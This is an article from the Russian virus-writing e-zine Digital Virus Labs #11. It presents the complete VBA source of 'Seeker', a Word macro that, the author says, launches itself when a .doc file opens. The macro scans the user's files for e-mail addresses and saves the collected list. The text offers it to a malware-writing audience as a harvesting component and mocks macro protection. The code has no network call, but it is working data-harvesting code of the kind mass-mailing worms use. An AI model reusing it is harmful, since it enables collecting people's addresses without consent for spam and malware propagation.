- [Digital Virus Labs #11] - [Page 29] -

 Поиск и извлечение e-mail адресов из файлов пользователя.
 (c) by CyberShadow/SMF

                                    Seeker
                                    ======

     CyberShadow//SMF  написал  этот  кусок  кода  с целью извлечения e-mail
 адресов  из  файлов  пользователя. В первую очередь эта программа сканирует
 выбранный  путь  на  предмет  наличия  файлов, определенных задаваемой вами
 маской.  Потом  программа  проверяет содержимое каждого найденного файла на
 наличие  символа "@", и, если находит его, берет некоторую строку символов,
 обрабатывая  несколько  условий  и  представляя, что это - некоторый e-mail
 адрес.

     Я  сделал  дружественный  интерфейс  только  с  целью потренироваться в
 программировании на VBA.

        Некоторые проблемы:
 1. Написание пути к файлам в командной строке очень громоздко!
 2. Крайне медленно работает(((
 3. Я думаю, что эта программа будет переписана на ассемблере, или чем-
    нибудь быстром.

        Советы в использовании:
 1. Не выбирайте рекурсирование поддиректорий, иначе вы можете ждать очень
    долго.
 2. Не выбирайте путь с большим количеством файлов. Почему? Читайте выше!

     Эта   программа  должна  автоматически  стартовать,  когда  открывается
 .doc-файл,  но если вы используете ебучую виндовсовскую защиту от макросов,
 то может и не сработать :).

                                                       CyberShadow//SMF
                                                    cybershadow@mail.ru

<------------------------ ThisDocument.cls starts -------------------------->
Attribute VB_Name = "ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True

Private Sub Document_open()
 a = System.PrivateProfileString("", "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders", "Personal")
 UserForm1.addr.Clear
 UserForm1.fName = a
 UserForm1.Warn = ""
 UserForm1.Show
End Sub
<------------------------- ThisDocument.cls ends --------------------------->

<------------------------- UserForm1.frm starts ---------------------------->
Attribute VB_Name = "UserForm1"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Private Sub About_Click()
 cr = "This program was written by CyberShadow" + Chr$(13) + Chr$(10)
 cr = cr + "It scans selected path and files," + Chr$(13) + Chr$(10)
 cr = cr + "and find all e-mail addresses"
 MsgBox cr, , "About"
End Sub
Private Sub Cancel_Click()
 UserForm1.hide
End Sub
Private Sub Ok_Click()
 On Error Resume Next
 a = UserForm1.fName
 If Right$(a, 1) <> "\" Then a = a + "\"
 UserForm1.fName = a
 With Application.FileSearch
  .FileName = UserForm1.Filemask
  .MatchAllWordForms = True
  .LookIn = UserForm1.fName
  .SearchSubFolders = UserForm1.SubDir
  .Execute
  For i = 1 To .FoundFiles.Count
   c = .FoundFiles(i)
   try (c)
  Next
 End With
 If UserForm1.deleteDub = True Then
  siz = UserForm1.addr.ListCount
  ReDim bang(siz)
  For i = 1 To siz
   bang(i) = UserForm1.addr.List(i)
  Next
  For i = 1 To siz
   For j = 1 To siz
    If (bang(i) = bang(j)) And (i <> j) Then bang(j) = ""
   Next
  Next
  UserForm1.addr.Clear
  For i = 1 To siz
   If bang(i) <> "" Then UserForm1.addr.AddItem bang(i)
  Next
  UserForm1.Warn = "Total addresses found:" + Str$(UserForm1.addr.ListCount)
 End If
End Sub
Private Sub try(fName)
 On Error Resume Next
 WindowSize = 5000
 seekPoint = 1
 Open fName For Binary As 1
  Do While seekPoint < LOF(1)
   VarString$ = String$(WindowSize, " ")
   Get #1, seekPoint, VarString$
   seekPoint = seekPoint + WindowSize - 50
   AsIs = search_(VarString$)
  Loop
 Close #1
End Sub
Function mid_(a$, i, j1)
 On Error Resume Next
 s = 0
 If i > 0 And (i + j1 - 1) <= Len(a$) Then
  b$ = mid$(a$, i, j1)
  If b$ >= "a" And b$ <= "z" Then s = 1
  If b$ >= "A" And b$ <= "Z" Then s = 1
  If b$ >= "0" And b$ <= "9" Then s = 1
  If b$ = "-" Or b$ = "_" Or b$ = "+" Or b$ = "." Or b$ = "@" Then s = 1
 End If
 mid_ = s
End Function
Function search_(a$)
 On Error Resume Next
 s$ = ""
 For i = 1 To Len(a$)
  If mid$(a$, i, 1) = "@" Then
   Name_ = "": j = i
   Do
    j = j - 1
    s = mid_(a$, j, 1)
   Loop While s = 1
   Do
    j = j + 1
    s = mid_(a$, j, 1)
    If s = 1 Then Name_ = Name_ + mid$(a$, j, 1)
   Loop While s = 1
   s = 0: k = 0
   For j2 = 1 To Len(Name_)
    If mid$(Name_, j2, 1) = "@" Then k = k + 1
    If mid$(Name_, j2, 1) = "." Then s = 1
   Next
   If k = 1 And s = 1 And Len(Name_) > 5 And Left$(Name_, 1) <> "@" And Right$(Name_, 1) <> "@" Then UserForm1.addr.AddItem Name_
  End If
  If mid$(a$, i, 1) <> "@" Then s$ = s$ + mid$(a$, i, 1) Else s$ = s$ + " "
 Next
 search_ = s$
End Function
Private Sub SaveButt_Click()
 On Error Resume Next
 Open UserForm1.TextBox1 For Output As 1
 For i = 1 To UserForm1.addr.ListCount - 1
  Print #1, UserForm1.addr.List(i)
 Next
 Close #1
End Sub
Private Sub SubDir_Click()
 If UserForm1.SubDir = True Then UserForm1.Warn = "Warning! SubDir scanning may take many time!" Else UserForm1.Warn = ""
End Sub
<-------------------------- UserForm1.frm ends ----------------------------->